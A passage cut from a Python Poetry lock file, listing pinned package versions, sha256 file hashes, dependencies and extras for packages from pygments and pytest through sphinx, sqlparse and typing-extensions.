"sha256:1e1b29cb58080b1e69f207c893a1a7bf16d127a5c30c9d17a25a5d77792e5360"}, ] [package.dependencies] wcwidth = "*" [[package]] name = "pygments" version = "2.18.0" description = "Pygments is a syntax highlighting package written in Python." optional = false python-versions = ">=3.8" files = [ {file = "pygments-2.18.0-py3-none-any.whl", hash = "sha256:b8e6aca0523f3ab76fee51799c488e38782ac06eafcf95e7ba832985c8e7b13a"}, {file = "pygments-2.18.0.tar.gz", hash = "sha256:786ff802f32e91311bff3889f6e9a86e81505fe99f2735bb6d60ae0c5004f199"}, ] [package.extras] windows-terminal = ["colorama (>=0.4.6)"] [[package]] name = "pytest" version = "8.3.2" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.8" files = [ {file = "pytest-8.3.2-py3-none-any.whl", hash = "sha256:4ba08f9ae7dcf84ded419494d229b48d0903ea6407b030eaec46df5e6a73bba5"}, {file = "pytest-8.3.2.tar.gz", hash = "sha256:c132345d12ce551242c87269de812483f5bcc87cdbb4722e48487ba194f9fdce"}, ] [package.dependencies] colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} iniconfig = "*" packaging = "*" pluggy = ">=1.5,<2" tomli = {version = ">=1", markers = "python_version < \"3.11\""} [package.extras] dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] [[package]] name = "pytest-asyncio" version = "0.24.0" description = "Pytest support for asyncio" optional = false python-versions = ">=3.8" files = [ {file = "pytest_asyncio-0.24.0-py3-none-any.whl", hash = "sha256:a811296ed596b69bf0b6f3dc40f83bcaf341b155a269052d82efa2b25ac7037b"}, {file = "pytest_asyncio-0.24.0.tar.gz", hash = "sha256:d081d828e576d85f875399194281e92bf8a68d60d72d1a2faf2feddb6c46b276"}, ] [package.dependencies] pytest = ">=8.2,<9" [package.extras] docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"] testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] [[package]] name = "pytest-django" version = "4.9.0" description = "A Django plugin for pytest." optional = false python-versions = ">=3.8" files = [ {file = "pytest_django-4.9.0-py3-none-any.whl", hash = "sha256:1d83692cb39188682dbb419ff0393867e9904094a549a7d38a3154d5731b2b99"}, {file = "pytest_django-4.9.0.tar.gz", hash = "sha256:8bf7bc358c9ae6f6fc51b6cebb190fe20212196e6807121f11bd6a3b03428314"}, ] [package.dependencies] pytest = ">=7.0.0" [package.extras] docs = ["sphinx", "sphinx-rtd-theme"] testing = ["Django", "django-configurations (>=2.0)"] [[package]] name = "pytest-mock" version = "3.14.0" description = "Thin-wrapper around the mock package for easier use with pytest" optional = false python-versions = ">=3.8" files = [ {file = "pytest-mock-3.14.0.tar.gz", hash = "sha256:2719255a1efeceadbc056d6bf3df3d1c5015530fb40cf347c0f9afac88410bd0"}, {file = "pytest_mock-3.14.0-py3-none-any.whl", hash = "sha256:0b72c38033392a5f4621342fe11e9219ac11ec9d375f8e2a0c164539e0d70f6f"}, ] [package.dependencies] pytest = ">=6.2.5" [package.extras] dev = ["pre-commit", "pytest-asyncio", "tox"] [[package]] name = "pytest-subtests" version = "0.13.1" description = "unittest subTest() support and subtests fixture" optional = false python-versions = ">=3.7" files = [ {file = "pytest_subtests-0.13.1-py3-none-any.whl", hash = "sha256:ab616a22f64cd17c1aee65f18af94dbc30c444f8683de2b30895c3778265e3bd"}, {file = "pytest_subtests-0.13.1.tar.gz", hash = "sha256:989e38f0f1c01bc7c6b2e04db7d9fd859db35d77c2c1a430c831a70cbf3fde2d"}, ] [package.dependencies] attrs = ">=19.2.0" pytest = ">=7.0" [[package]] name = "python-dateutil" version = "2.9.0.post0" description = "Extensions to the standard Python datetime module" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" files = [ {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, ] [package.dependencies] six = ">=1.5" [[package]] name = "pytz" version = "2024.1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" files = [ {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"}, {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"}, ] [[package]] name = "pyyaml" version = "6.0.2" description = "YAML parser and emitter for Python" optional = false python-versions = ">=3.8" files = [ {file = "PyYAML-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086"}, {file = "PyYAML-6.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf"}, {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237"}, {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b"}, {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed"}, {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180"}, {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68"}, {file = "PyYAML-6.0.2-cp310-cp310-win32.whl", hash = "sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99"}, {file = "PyYAML-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e"}, {file = "PyYAML-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774"}, {file = "PyYAML-6.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee"}, {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c"}, {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317"}, {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85"}, {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4"}, {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e"}, {file = "PyYAML-6.0.2-cp311-cp311-win32.whl", hash = "sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5"}, {file = "PyYAML-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44"}, {file = "PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab"}, {file = "PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725"}, {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5"}, {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425"}, {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476"}, {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48"}, {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b"}, {file = "PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4"}, {file = "PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8"}, {file = "PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba"}, {file = "PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1"}, {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133"}, {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484"}, {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5"}, {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc"}, {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652"}, {file = "PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183"}, {file = "PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563"}, {file = "PyYAML-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:24471b829b3bf607e04e88d79542a9d48bb037c2267d7927a874e6c205ca7e9a"}, {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5"}, {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d"}, {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083"}, {file = "PyYAML-6.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706"}, {file = "PyYAML-6.0.2-cp38-cp38-win32.whl", hash = "sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a"}, {file = "PyYAML-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff"}, {file = "PyYAML-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d"}, {file = "PyYAML-6.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f"}, {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290"}, {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12"}, {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19"}, {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e"}, {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725"}, {file = "PyYAML-6.0.2-cp39-cp39-win32.whl", hash = "sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631"}, {file = "PyYAML-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8"}, {file = "pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"}, ] [[package]] name = "redis" version = "3.5.3" description = "Python client for Redis key-value store" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ {file = "redis-3.5.3-py2.py3-none-any.whl", hash = "sha256:432b788c4530cfe16d8d943a09d40ca6c16149727e4afe8c2c9d5580c59d9f24"}, {file = "redis-3.5.3.tar.gz", hash = "sha256:0e7e0cfca8660dea8b7d5cd8c4f6c5e29e11f31158c0b0ae91a397f00e5a05a2"}, ] [package.extras] hiredis = ["hiredis (>=0.1.3)"] [[package]] name = "requests" version = "2.32.3" description = "Python HTTP for Humans." optional = false python-versions = ">=3.8" files = [ {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, ] [package.dependencies] certifi = ">=2017.4.17" charset-normalizer = ">=2,<4" idna = ">=2.5,<4" urllib3 = ">=1.21.1,<3" [package.extras] socks = ["PySocks (>=1.5.6,!=1.5.7)"] use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "sentry-sdk" version = "2.8.0" description = "Python client for Sentry (https://sentry.io)" optional = false python-versions = ">=3.6" files = [ {file = "sentry_sdk-2.8.0-py2.py3-none-any.whl", hash = "sha256:6051562d2cfa8087bb8b4b8b79dc44690f8a054762a29c07e22588b1f619bfb5"}, {file = "sentry_sdk-2.8.0.tar.gz", hash = "sha256:aa4314f877d9cd9add5a0c9ba18e3f27f99f7de835ce36bd150e48a41c7c646f"}, ] [package.dependencies] certifi = "*" urllib3 = ">=1.26.11" [package.extras] aiohttp = ["aiohttp (>=3.5)"] anthropic = ["anthropic (>=0.16)"] arq = ["arq (>=0.23)"] asyncpg = ["asyncpg (>=0.23)"] beam = ["apache-beam (>=2.12)"] bottle = ["bottle (>=0.12.13)"] celery = ["celery (>=3)"] celery-redbeat = ["celery-redbeat (>=2)"] chalice = ["chalice (>=1.16.0)"] clickhouse-driver = ["clickhouse-driver (>=0.2.0)"] django = ["django (>=1.8)"] falcon = ["falcon (>=1.4)"] fastapi = ["fastapi (>=0.79.0)"] flask = ["blinker (>=1.1)", "flask (>=0.11)", "markupsafe"] grpcio = ["grpcio (>=1.21.1)", "protobuf (>=3.8.0)"] httpx = ["httpx (>=0.16.0)"] huey = ["huey (>=2)"] huggingface-hub = ["huggingface-hub (>=0.22)"] langchain = ["langchain (>=0.0.210)"] loguru = ["loguru (>=0.5)"] openai = ["openai (>=1.0.0)", "tiktoken (>=0.3.0)"] opentelemetry = ["opentelemetry-distro (>=0.35b0)"] opentelemetry-experimental = ["opentelemetry-instrumentation-aio-pika (==0.46b0)", "opentelemetry-instrumentation-aiohttp-client (==0.46b0)", "opentelemetry-instrumentation-aiopg (==0.46b0)", "opentelemetry-instrumentation-asgi (==0.46b0)", "opentelemetry-instrumentation-asyncio (==0.46b0)", "opentelemetry-instrumentation-asyncpg (==0.46b0)", "opentelemetry-instrumentation-aws-lambda (==0.46b0)", "opentelemetry-instrumentation-boto (==0.46b0)", "opentelemetry-instrumentation-boto3sqs (==0.46b0)", "opentelemetry-instrumentation-botocore (==0.46b0)", "opentelemetry-instrumentation-cassandra (==0.46b0)", "opentelemetry-instrumentation-celery (==0.46b0)", "opentelemetry-instrumentation-confluent-kafka (==0.46b0)", "opentelemetry-instrumentation-dbapi (==0.46b0)", "opentelemetry-instrumentation-django (==0.46b0)", "opentelemetry-instrumentation-elasticsearch (==0.46b0)", "opentelemetry-instrumentation-falcon (==0.46b0)", "opentelemetry-instrumentation-fastapi (==0.46b0)", "opentelemetry-instrumentation-flask (==0.46b0)", "opentelemetry-instrumentation-grpc (==0.46b0)", "opentelemetry-instrumentation-httpx (==0.46b0)", "opentelemetry-instrumentation-jinja2 (==0.46b0)", "opentelemetry-instrumentation-kafka-python (==0.46b0)", "opentelemetry-instrumentation-logging (==0.46b0)", "opentelemetry-instrumentation-mysql (==0.46b0)", "opentelemetry-instrumentation-mysqlclient (==0.46b0)", "opentelemetry-instrumentation-pika (==0.46b0)", "opentelemetry-instrumentation-psycopg (==0.46b0)", "opentelemetry-instrumentation-psycopg2 (==0.46b0)", "opentelemetry-instrumentation-pymemcache (==0.46b0)", "opentelemetry-instrumentation-pymongo (==0.46b0)", "opentelemetry-instrumentation-pymysql (==0.46b0)", "opentelemetry-instrumentation-pyramid (==0.46b0)", "opentelemetry-instrumentation-redis (==0.46b0)", "opentelemetry-instrumentation-remoulade (==0.46b0)", "opentelemetry-instrumentation-requests (==0.46b0)", "opentelemetry-instrumentation-sklearn (==0.46b0)", "opentelemetry-instrumentation-sqlalchemy (==0.46b0)", "opentelemetry-instrumentation-sqlite3 (==0.46b0)", "opentelemetry-instrumentation-starlette (==0.46b0)", "opentelemetry-instrumentation-system-metrics (==0.46b0)", "opentelemetry-instrumentation-threading (==0.46b0)", "opentelemetry-instrumentation-tornado (==0.46b0)", "opentelemetry-instrumentation-tortoiseorm (==0.46b0)", "opentelemetry-instrumentation-urllib (==0.46b0)", "opentelemetry-instrumentation-urllib3 (==0.46b0)", "opentelemetry-instrumentation-wsgi (==0.46b0)"] pure-eval = ["asttokens", "executing", "pure-eval"] pymongo = ["pymongo (>=3.1)"] pyspark = ["pyspark (>=2.4.4)"] quart = ["blinker (>=1.1)", "quart (>=0.16.1)"] rq = ["rq (>=0.6)"] sanic = ["sanic (>=0.8)"] sqlalchemy = ["sqlalchemy (>=1.2)"] starlette = ["starlette (>=0.19.1)"] starlite = ["starlite (>=1.48)"] tornado = ["tornado (>=6)"] [[package]] name = "setuptools" version = "74.1.1" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.8" files = [ {file = "setuptools-74.1.1-py3-none-any.whl", hash = "sha256:fc91b5f89e392ef5b77fe143b17e32f65d3024744fba66dc3afe07201684d766"}, {file = "setuptools-74.1.1.tar.gz", hash = "sha256:2353af060c06388be1cecbf5953dcdb1f38362f87a2356c480b6b4d5fcfc8847"}, ] [package.extras] check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.5.2)"] core = ["importlib-metadata (>=6)", "importlib-resources (>=5.10.2)", "jaraco.text (>=3.7)", "more-itertools (>=8.8)", "packaging (>=24)", "platformdirs (>=2.6.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "jaraco.test", "packaging (>=23.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] type = ["importlib-metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.11.*)", "pytest-mypy"] [[package]] name = "six" version = "1.16.0" description = "Python 2 and 3 compatibility utilities" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" files = [ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, ] [[package]] name = "snowballstemmer" version = "2.2.0" description = "This package provides 29 stemmers for 28 languages generated from Snowball algorithms." optional = false python-versions = "*" files = [ {file = "snowballstemmer-2.2.0-py2.py3-none-any.whl", hash = "sha256:c8e1716e83cc398ae16824e5572ae04e0d9fc2c6b985fb0f900f5f0c96ecba1a"}, {file = "snowballstemmer-2.2.0.tar.gz", hash = "sha256:09b16deb8547d3412ad7b590689584cd0fe25ec8db3be37788be3810cbf19cb1"}, ] [[package]] name = "sphinx" version = "2.4.5" description = "Python documentation generator" optional = false python-versions = ">=3.5" files = [ {file = "Sphinx-2.4.5-py3-none-any.whl", hash = "sha256:02d7e9dc5f30caa42a682b26de408b755a55c7b07f356a30a3b6300bf7d4740e"}, {file = "Sphinx-2.4.5.tar.gz", hash = "sha256:b00394e90463e7482c4cf59e7db1c8604baeca1468abfc062904dedc1cea6fcc"}, ] [package.dependencies] alabaster = ">=0.7,<0.8" babel = ">=1.3,<2.0 || >2.0" colorama = {version = ">=0.3.5", markers = "sys_platform == \"win32\""} docutils = ">=0.12,<0.18" imagesize = "*" Jinja2 = ">=2.3" packaging = "*" Pygments = ">=2.0" requests = ">=2.5.0" setuptools = "*" snowballstemmer = ">=1.1" sphinxcontrib-applehelp = "*" sphinxcontrib-devhelp = "*" sphinxcontrib-htmlhelp = "*" sphinxcontrib-jsmath = "*" sphinxcontrib-qthelp = "*" sphinxcontrib-serializinghtml = "*" [package.extras] docs = ["sphinxcontrib-websupport"] test = ["docutils-stubs", "flake8 (>=3.5.0)", "flake8-import-order", "html5lib", "mypy (>=0.761)", "pytest (<5.3.3)", "pytest-cov"] [[package]] name = "sphinx-rtd-theme" version = "0.4.3" description = "Read the Docs theme for Sphinx" optional = false python-versions = "*" files = [ {file = "sphinx_rtd_theme-0.4.3-py2.py3-none-any.whl", hash = "sha256:00cf895504a7895ee433807c62094cf1e95f065843bf3acd17037c3e9a2becd4"}, {file = "sphinx_rtd_theme-0.4.3.tar.gz", hash = "sha256:728607e34d60456d736cc7991fd236afb828b21b82f956c5ea75f94c8414040a"}, ] [package.dependencies] sphinx = "*" [[package]] name = "sphinxcontrib-applehelp" version = "1.0.4" description = "sphinxcontrib-applehelp is a Sphinx extension which outputs Apple help books" optional = false python-versions = ">=3.8" files = [ {file = "sphinxcontrib-applehelp-1.0.4.tar.gz", hash = "sha256:828f867945bbe39817c210a1abfd1bc4895c8b73fcaade56d45357a348a07d7e"}, {file = "sphinxcontrib_applehelp-1.0.4-py3-none-any.whl", hash = "sha256:29d341f67fb0f6f586b23ad80e072c8e6ad0b48417db2bde114a4c9746feb228"}, ] [package.extras] lint = ["docutils-stubs", "flake8", "mypy"] test = ["pytest"] [[package]] name = "sphinxcontrib-devhelp" version = "1.0.2" description = "sphinxcontrib-devhelp is a sphinx extension which outputs Devhelp document." optional = false python-versions = ">=3.5" files = [ {file = "sphinxcontrib-devhelp-1.0.2.tar.gz", hash = "sha256:ff7f1afa7b9642e7060379360a67e9c41e8f3121f2ce9164266f61b9f4b338e4"}, {file = "sphinxcontrib_devhelp-1.0.2-py2.py3-none-any.whl", hash = "sha256:8165223f9a335cc1af7ffe1ed31d2871f325254c0423bc0c4c7cd1c1e4734a2e"}, ] [package.extras] lint = ["docutils-stubs", "flake8", "mypy"] test = ["pytest"] [[package]] name = "sphinxcontrib-htmlhelp" version = "2.0.1" description = "sphinxcontrib-htmlhelp is a sphinx extension which renders HTML help files" optional = false python-versions = ">=3.8" files = [ {file = "sphinxcontrib-htmlhelp-2.0.1.tar.gz", hash = "sha256:0cbdd302815330058422b98a113195c9249825d681e18f11e8b1f78a2f11efff"}, {file = "sphinxcontrib_htmlhelp-2.0.1-py3-none-any.whl", hash = "sha256:c38cb46dccf316c79de6e5515e1770414b797162b23cd3d06e67020e1d2a6903"}, ] [package.extras] lint = ["docutils-stubs", "flake8", "mypy"] test = ["html5lib", "pytest"] [[package]] name = "sphinxcontrib-jsmath" version = "1.0.1" description = "A sphinx extension which renders display math in HTML via JavaScript" optional = false python-versions = ">=3.5" files = [ {file = "sphinxcontrib-jsmath-1.0.1.tar.gz", hash = "sha256:a9925e4a4587247ed2191a22df5f6970656cb8ca2bd6284309578f2153e0c4b8"}, {file = "sphinxcontrib_jsmath-1.0.1-py2.py3-none-any.whl", hash = "sha256:2ec2eaebfb78f3f2078e73666b1415417a116cc848b72e5172e596c871103178"}, ] [package.extras] test = ["flake8", "mypy", "pytest"] [[package]] name = "sphinxcontrib-qthelp" version = "1.0.3" description = "sphinxcontrib-qthelp is a sphinx extension which outputs QtHelp document." optional = false python-versions = ">=3.5" files = [ {file = "sphinxcontrib-qthelp-1.0.3.tar.gz", hash = "sha256:4c33767ee058b70dba89a6fc5c1892c0d57a54be67ddd3e7875a18d14cba5a72"}, {file = "sphinxcontrib_qthelp-1.0.3-py2.py3-none-any.whl", hash = "sha256:bd9fc24bcb748a8d51fd4ecaade681350aa63009a347a8c14e637895444dfab6"}, ] [package.extras] lint = ["docutils-stubs", "flake8", "mypy"] test = ["pytest"] [[package]] name = "sphinxcontrib-serializinghtml" version = "1.1.5" description = "sphinxcontrib-serializinghtml is a sphinx extension which outputs \"serialized\" HTML files (json and pickle)." optional = false python-versions = ">=3.5" files = [ {file = "sphinxcontrib-serializinghtml-1.1.5.tar.gz", hash = "sha256:aa5f6de5dfdf809ef505c4895e51ef5c9eac17d0f287933eb49ec495280b6952"}, {file = "sphinxcontrib_serializinghtml-1.1.5-py2.py3-none-any.whl", hash = "sha256:352a9a00ae864471d3a7ead8d7d79f5fc0b57e8b3f95e9867eb9eb28999b92fd"}, ] [package.extras] lint = ["docutils-stubs", "flake8", "mypy"] test = ["pytest"] [[package]] name = "sqlparse" version = "0.5.1" description = "A non-validating SQL parser." optional = false python-versions = ">=3.8" files = [ {file = "sqlparse-0.5.1-py3-none-any.whl", hash = "sha256:773dcbf9a5ab44a090f3441e2180efe2560220203dc2f8c0b0fa141e18b505e4"}, {file = "sqlparse-0.5.1.tar.gz", hash = "sha256:bb6b4df465655ef332548e24f08e205afc81b9ab86cb1c45657a7ff173a3a00e"}, ] [package.extras] dev = ["build", "hatch"] doc = ["sphinx"] [[package]] name = "tomli" version = "2.0.1" description = "A lil' TOML parser" optional = false python-versions = ">=3.7" files = [ {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, ] [[package]] name = "typing-extensions" version = "4.12.2" description = "Backported and Experimental Type Hints for Python 3.8+" optional = false python-versions = ">=3.8" files = [ {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, {file = "typing_extensions-4.12.2.tar.gz", hash = 